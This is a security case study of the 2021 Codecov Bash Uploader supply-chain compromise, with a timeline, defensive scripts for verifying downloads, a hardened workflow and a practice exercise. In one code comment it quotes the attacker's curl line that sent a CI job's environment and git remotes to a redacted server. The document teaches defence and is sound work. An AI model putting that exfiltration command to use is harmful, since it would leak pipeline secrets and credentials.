In short

From 2021-01-31 an attacker who had extracted a credential through an error in Codecov's Docker image creation process modified Codecov's Bash Uploader. The changed script sent each CI job's git remote -v output and full environment, with every secret in it, to the attacker. A customer noticed on 2021-04-01 that the downloaded script's checksum did not match the published one, and Codecov disclosed on 2021-04-15. Verifying downloaded tools against a pinned hash and signature, and keeping long-lived secrets out of the jobs that run them, would have prevented or contained it.

  • The uploader was fetched fresh from codecov.io in each run, so changing one file on the vendor's storage changed every pipeline that used it.
  • The payload was one line: curl posting git remote -v and env to an attacker server, so any secret in the job's environment was exposed.
  • Affected usage: the Bash Uploader and the tools that wrapped it, the Codecov GitHub Action, CircleCI Orb and Bitrise Step.
  • Detection came from one customer comparing checksums; customers who validated checksums may not have been affected.
  • Downstream, HashiCorp rotated the GPG key it used to sign release checksums, which had been in an affected CI environment.
  • No CVE was assigned; this was a compromise of a distributed script, not a flaw in customers' code.

Incident at a glance

Dates
to
Category
Supply-chain compromise
Organizations
  • Codecov
  • HashiCorp
Impact
A modified Bash Uploader, also run by Codecov's GitHub Action, CircleCI Orb and Bitrise Step, sent each CI job's git remote -v output and full environment, with any secrets in it, to the attacker. HashiCorp rotated the GPG key that signs its release checksums as a result.
How it was found
A customer saw that the downloaded script's checksum did not match the one Codecov published on GitHub and reported it on 2021-04-01.

Timeline

  1. Periodic unauthorized changes to the Bash Uploader begin, using a credential extracted through an error in Codecov's Docker image creation process.
  2. A customer reports the checksum mismatch; Codecov secures and fixes the script.
  3. Codecov notifies affected users and publishes its security update with indicators.
  4. HashiCorp publishes HCSEC-2021-12 and rotates its release-signing GPG key.
  5. HashiCorp ships Terraform patch releases that trust the new key.
  6. Codecov adds detail on which environment variables may have been obtained.

Verify it

  1. Search CI configuration for curl ... | bash, bash <(curl ...) and wget ... | sh, and replace each with a pinned, verified download.
  2. For each third-party tool a pipeline downloads, record the version, the expected hash and how its signature is checked.
  3. List the secret names available to every job that runs third-party code, and remove the ones it does not need.
  4. Replace long-lived cloud and registry keys in CI with OIDC federation where the provider supports it.
  5. Restrict CI egress where you can, so a job can reach only the hosts it needs.
Applies to
  • Codecov Bash Uploader and wrappers Copies fetched from codecov.io/bash between 2021-01-31 and 2021-04-01, including via the GitHub Action, CircleCI Orb and Bitrise Step

CI pipelines that download and run third-party scripts or tools, and vendors that distribute scripts their customers run in CI.

Part of
Workflow: Respond to a vulnerability. Collection: case studies
Learning goals and prerequisitesAbout 25 minutes: 7 to read and 18 for the exercise

What you will learn

  • Explain how one modified vendor script exposed the secrets of every pipeline that ran it.
  • Scope exposure from CI run history and job environments, and order credential rotation by impact.
  • Verify a downloaded CI tool against a pinned version, hash and signing key.
  • Restructure jobs so third-party tools run without long-lived secrets.

Before you start

DevOps and platform engineers who own CI pipelines, AppSec engineers who review them, and vendors who distribute scripts or tools for CI

  • Know how CI jobs receive secrets as environment variables.
  • Read a shell script and a GitHub Actions workflow.
  • For the code: bash, curl and GnuPG.

Refresh first: Protect the path from pull request to release

Go to the guided practice

How one changed script reached every pipeline that ran it

AttackerCodecovCustomer CIAttackerCodecov scriptstorageCustomer CI jobModify the Bash Uploader with aleaked key1Fetch codecov.io/bash on everyrun2Modified script, run without ahash check2Script runs with everysecret in env3POST git remote -v and env output3Checksum differs fromCodecov's on GitHub4Customer reports the mismatch4Trust boundaryUntrusted input1Step, described below
  1. Change the hosted scriptFrom 2021-01-31 the attacker, holding a credential extracted through an error in Codecov's Docker image creation process, periodically changes the Bash Uploader where Codecov stores it.
  2. Fetch and run unverifiedPipelines download the script from codecov.io/bash on every run, directly or through the GitHub Action, CircleCI Orb or Bitrise Step, and most run it without checking the published checksum.
  3. Send the environmentOne added curl line posts git remote -v and the job's full env output, with every secret in it, to the attacker's server; || true keeps the build passing if the call fails.
  4. A checksum catches itOn 2021-04-01 a customer finds that the downloaded script's SHA-256 does not match the one Codecov publishes on GitHub and reports it. Codecov secures the script and discloses on 2021-04-15.
Each run executed whatever the vendor's storage held at that moment. A pinned hash check stopped the changed file, and a job without long-lived secrets would have had nothing worth sending.

A script many pipelines downloaded on every run

Codecov is a code coverage service. In 2021 its customers sent coverage reports from CI with the Bash Uploader, a script that most pipelines fetched from codecov.io/bash and ran directly on every build, often with bash <(curl -s https://codecov.io/bash). Codecov's GitHub Action, CircleCI Orb and Bitrise Step used the same script.

An attacker obtained a credential that let them change the script where Codecov stored it. From 2021-01-31 the served script contained one extra line that sent the CI job's Git remotes and full environment to a server the attacker controlled. CI environments are where pipelines keep their secrets: cloud keys, registry tokens, signing keys and deploy credentials. For about two months, every pipeline that ran the uploader handed those over.

Timeline

Timeline
WhenEventSource
Before 2021-01-31An error in Codecov's Docker image creation process lets the attacker extract the credential needed to modify the Bash Uploader.Codecov security update
2021-01-31Unauthorized changes to the Bash Uploader begin; the attacker has periodic access to a Google Cloud Storage key.Codecov security update
2021-04-01A customer reports that the checksum of the downloaded script does not match the one on GitHub; Codecov secures and fixes the script.Codecov security update
2021-04-15Codecov notifies affected users by email and in the app and publishes the security update with indicators.Codecov security update
2021-04-22HashiCorp publishes HCSEC-2021-12: the GPG key that signs its release checksums was exposed in an affected CI environment; it rotates the key and re-signs releases.HashiCorp HCSEC-2021-12
2021-04-29Codecov updates its post with more detail on which environment variables may have been obtained, visible to affected users in the app.Codecov security update

How did one changed file reach so many secrets?

Three common habits lined up. The script was downloaded at run time from a mutable URL, so the version that ran was whatever the vendor's storage held that minute. It was executed without checking the published checksum, so a changed file ran as readily as the original. And it ran in jobs that held far more secrets than a coverage upload needs, because CI systems usually expose a project's secrets to every step of a job.

The added line was short enough to miss in a casual look and quiet enough to miss in logs: a curl with a half-second timeout and || true, so a failure to reach the attacker never broke a build. The code block shows the line as Codecov published it, and the safe way to see what a job exposed: list the variable names, not the values.

exposure.shShell
# Before: the pattern the attacker relied on, a script fetched and run unverified
# in a job whose environment held every secret the pipeline had.
#   bash <(curl -s https://codecov.io/bash)

# The line Codecov found in the modified Bash Uploader (destination redacted):
#   curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" https://<redacted>/upload/v2 || true

# What did a job expose? List variable NAMES only; never print the values to a log.
env | cut -d= -f1 | sort

What was exposed downstream?

Codecov did not publish a count of affected customers. Its guidance was to treat every secret in an affected job's environment as exposed, rotate it, and audit its use. The most consequential confirmed case is HashiCorp's: a subset of its CI pipelines used the affected component, and the GPG private key used to sign the SHA256SUMS files that validate HashiCorp downloads was in one of those environments. HashiCorp found no evidence the key was misused, but rotated it, revoked the old key, re-signed existing releases and shipped Terraform patch releases that trust the new key for provider validation.

That chain is the general lesson: a secret stolen from CI is often a signing or publishing credential for something else, so a compromise of one vendor's tool can become a risk to every downstream consumer of the victims' software.

How was it caught?

By a customer doing what most did not: checking the downloaded script against the checksum Codecov published on GitHub. The values did not match, the customer reported it on 2021-04-01, and Codecov found the change. Codecov noted that users who performed checksum validation may not have been affected, because a changed script would have failed their check. Two months passed before anyone looked.

Verify a downloaded CI tool before running it

Codecov now distributes a CLI with a SHA-256 checksum file signed by its uploader key. The script below pins both the CLI version and the key's fingerprint, so neither a changed binary nor a substituted key passes; it was run on 2026-10-10 against v11.3.1 and printed Good signature and codecov: OK. Apply the same pattern to every tool a pipeline downloads: a pinned version, a recorded hash or signature, and failure if either does not match.

Fixedinstall-codecov-cli.shShell
# Pin the CLI version and the signing key's fingerprint, and verify before running.
set -euo pipefail
VERSION=v11.3.1
KEY_FPR=27034E7FDB850E0BBC2C62FF806BB28AED779869   # Codecov Uploader Verification Key
BASE="https://cli.codecov.io/$VERSION/linux"

curl -fsSL https://keybase.io/codecovsecops/pgp_keys.asc |
  gpg --no-default-keyring --keyring ./codecov.gpg --import
gpg --no-default-keyring --keyring ./codecov.gpg --with-colons --fingerprint |
  grep -q "^fpr:::::::::$KEY_FPR:" || { echo "unexpected signing key" >&2; exit 1; }

curl -fsSLO "$BASE/codecov"
curl -fsSLO "$BASE/codecov.SHA256SUM"
curl -fsSLO "$BASE/codecov.SHA256SUM.sig"
gpgv --keyring ./codecov.gpg codecov.SHA256SUM.sig codecov.SHA256SUM
shasum -a 256 -c codecov.SHA256SUM
chmod +x codecov

Give the coverage job nothing worth stealing

Verification stops a changed tool; scoping limits what any compromised step can take. Run third-party tools in jobs that hold no deploy, cloud or registry credentials, pin actions to full commit SHAs, and use OIDC federation instead of long-lived tokens where the service supports it. The workflow below uploads coverage with the SHA-pinned Codecov action using OIDC, so there is not even an upload token to steal.

Fixed.github/workflows/test.ymlYAML
# .github/workflows/test.yml
name: test
on:
  push:
    branches: [main]
permissions:
  contents: read
jobs:
  test:
    runs-on: ubuntu-latest
    # This job holds no deploy keys, cloud credentials or registry tokens.
    permissions:
      contents: read
      id-token: write # OIDC upload to Codecov instead of a stored upload token
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - run: npm ci --ignore-scripts && npm test -- --coverage
      # Pinned by SHA; the action verifies the CLI's signature unless skip_validation is set.
      - uses: codecov/codecov-action@303a32d7a59b442fa8d48b6a1cc6825c09c847a5 # v7.1.1
        with:
          use_oidc: true
          fail_ci_if_error: true

Which controls would have stopped or contained it?

Which controls would have stopped or contained it?
ControlSSDF practice or SLSA requirementEffectGuide
Verify downloaded tools against a pinned hash and signatureSSDF PO.3, PW.4 (verify acquired software); SLSA dependency verificationPrevents: the changed script fails the check, as it did for the customer who found it./domains/supply-chain/provenance/artifact-signature-policy/
Pin tools and actions to immutable versionsSSDF PO.3Prevents a silent change of what runs; updates become reviewed changes./domains/supply-chain/ci-cd/github-actions-hardening/
Keep long-lived secrets out of jobs that run third-party code; use OIDCSSDF PO.5 (secure build environments)Contains: nothing valuable to send./domains/identity-crypto/identity/workload-identity-models/
Restrict CI egress to known hostsSSDF PO.5Contains: the POST to an unknown IP fails./domains/supply-chain/ci-cd/build-integrity/
Protect the vendor's own build and publishing credentialsSSDF PS.1, PO.5Prevents at the source: the leaked credential came from an image build process./domains/identity-crypto/secrets/secrets-lifecycle/
Rotate and audit every exposed secret quicklySSDF RV.2Limits the damage after the fact./domains/identity-crypto/secrets/leaked-secret-response/

Lessons that still apply

  • curl | bash in CI hands a vendor's storage bucket the ability to run code with all your pipeline's secrets.
  • Publishing a checksum only helps if consumers check it; make verification the default in the snippet you document.
  • Secrets in CI environment variables are visible to every step, so scope them per job and prefer short-lived OIDC credentials.
  • Assume a CI compromise exposes signing and publishing keys, and plan how you would rotate them without breaking your users.
  • The same failure recurred in 2025 with a mutable GitHub Action tag in /domains/supply-chain/ci-cd/case-study-tj-actions/; the fix is the same: pin and verify.

What the public evidence does not establish

Codecov did not publish how many customers ran the modified script or which secrets the attacker used, and it gave affected users details individually. The public record names few victims; press reports listed others, but only some companies, such as HashiCorp, published their own findings. Codecov did not attribute the attack, and the indicator IPs it published are not evidence of who was behind it.

Guided practice

It is 2021-04-16 and you own CI for four projects. Using the facts below, decide which pipelines were exposed, what to rotate first, and what to change. Treat the facts as true.

Supplied scenario material
Plain text
P1: GitHub Actions; codecov/codecov-action; runs on every push since 2020; job env has AWS_ACCESS_KEY_ID/SECRET (deploy role), NPM_TOKEN (publish) and GITHUB_TOKEN.
P2: CircleCI; Codecov Orb; job env has CODECOV_TOKEN only; deploy happens in a separate job with its own context.
P3: Jenkins; downloads codecov.io/bash, compares it to a SHA256 recorded on 2020-11-02, and fails on mismatch; the check has never been disabled.
P4: GitLab CI; Bash Uploader fetched with curl | bash; last run 2021-01-20, project archived since.
Release signing: P1's job also has GPG_SIGNING_KEY, used to sign release checksums.
  1. 1. Scope the exposure

    Decide which pipelines ran a modified uploader.

    Expected result and reasoning

    P1 is exposed: it used a wrapped uploader during the window. P2 is exposed, but its job held only the Codecov token. P3 is not exposed if the check held: a changed script would have failed the comparison. P4 is not exposed: its last run, 2021-01-20, was before the modifications began.

  2. 2. Order the rotation

    List P1's secrets in the order you rotate them, and why.

    Expected result and reasoning

    GPG_SIGNING_KEY and NPM_TOKEN first, because they let an attacker publish or sign releases your users trust; then the AWS deploy keys, auditing CloudTrail for use since 2021-01-31; GITHUB_TOKEN expires at job end. Revoke rather than only replace, and tell users which key to trust, as HashiCorp did.

  3. 3. Audit use

    What do you check after rotating?

    Expected result and reasoning

    npm publish history and package diffs since 2021-01-31, signatures made with the old GPG key, CloudTrail for the deploy keys, and repository access through the Git remotes the script sent. Rotation stops future use; the audit tells you whether past use happened.

  4. 4. Fix the pattern

    Rewrite P1 so a changed tool cannot steal its secrets.

    Expected result and reasoning

    Pin the action to a commit SHA, keep CLI validation on, upload coverage with OIDC from a job that has no deploy or publishing secrets, move publishing and signing to a separate job with an environment that requires approval, and restrict egress where the runner allows it.

Your deliverable: An exposure table for P1 to P4, a rotation order with reasons for P1, and the revised workflow outline.

The pipelines and secrets are invented. Real scoping depends on CI run history for the whole window and on audit logs for every credential, and an unchanged checksum check only protects runs where it actually executed.

Save a draft on this device to resume later. Automatic saving begins after you choose Save. Drafts are never sent by this application; use synthetic data.

No draft saved on this device yet.

Sources & further reading

The standards, specifications and documentation behind the guidance above. Each is the evidence for a claim on this page; consult it for detail beyond the defaults and versions listed here.

  1. Codecov: Bash Uploader security update (2021-04-15, updated 2021-04-29)
  2. HashiCorp HCSEC-2021-12: Codecov security event and HashiCorp GPG key exposure. 22 April 2021.
  3. Codecov docs: The Codecov CLI (installation and integrity check)
  4. codecov/codecov-action: README (use_oidc, skip_validation)
  5. GitHub Docs: Secure use reference (third-party actions and OIDC)
  6. NIST SP 800-218: Secure Software Development Framework. Version 1.1 (February 2022).
  7. OWASP Top 10 CI/CD Security Risks: CICD-SEC-8 Ungoverned Usage of 3rd Party Services. v1.0 (2022).

Reference information

CAPEC attack patterns

Download this guide as Markdown